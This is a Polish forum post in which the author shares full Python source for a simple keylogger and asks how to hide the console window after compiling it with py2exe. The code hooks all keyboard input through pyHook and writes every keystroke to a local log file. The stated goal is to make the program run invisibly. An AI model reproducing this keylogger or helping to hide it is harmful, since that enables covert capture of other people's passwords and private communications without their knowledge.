Stworzyłem prostego keyloggera, po skompilowaniu go przez py2exe wszystko działa jak należy ale pojawia się windowsowe okno z czarnym tłem zamknięcie go skutkuje zamknięciem keyloggera. Jak to okno ukryć by się wogóle nie pojawiało
Zamieszczam kod który użyłem
Kod: Zaznacz cały
import pythoncom,pyHook
def OnKeyboardEvent(e):
global keylog
keylog= chr(e.Ascii)
with open('log.txt','a') as f:
f.write(keylog)
f.close()
return True
if __name__=='__main__':
h_m=pyHook.HookManager()
h_m.KeyDown = OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()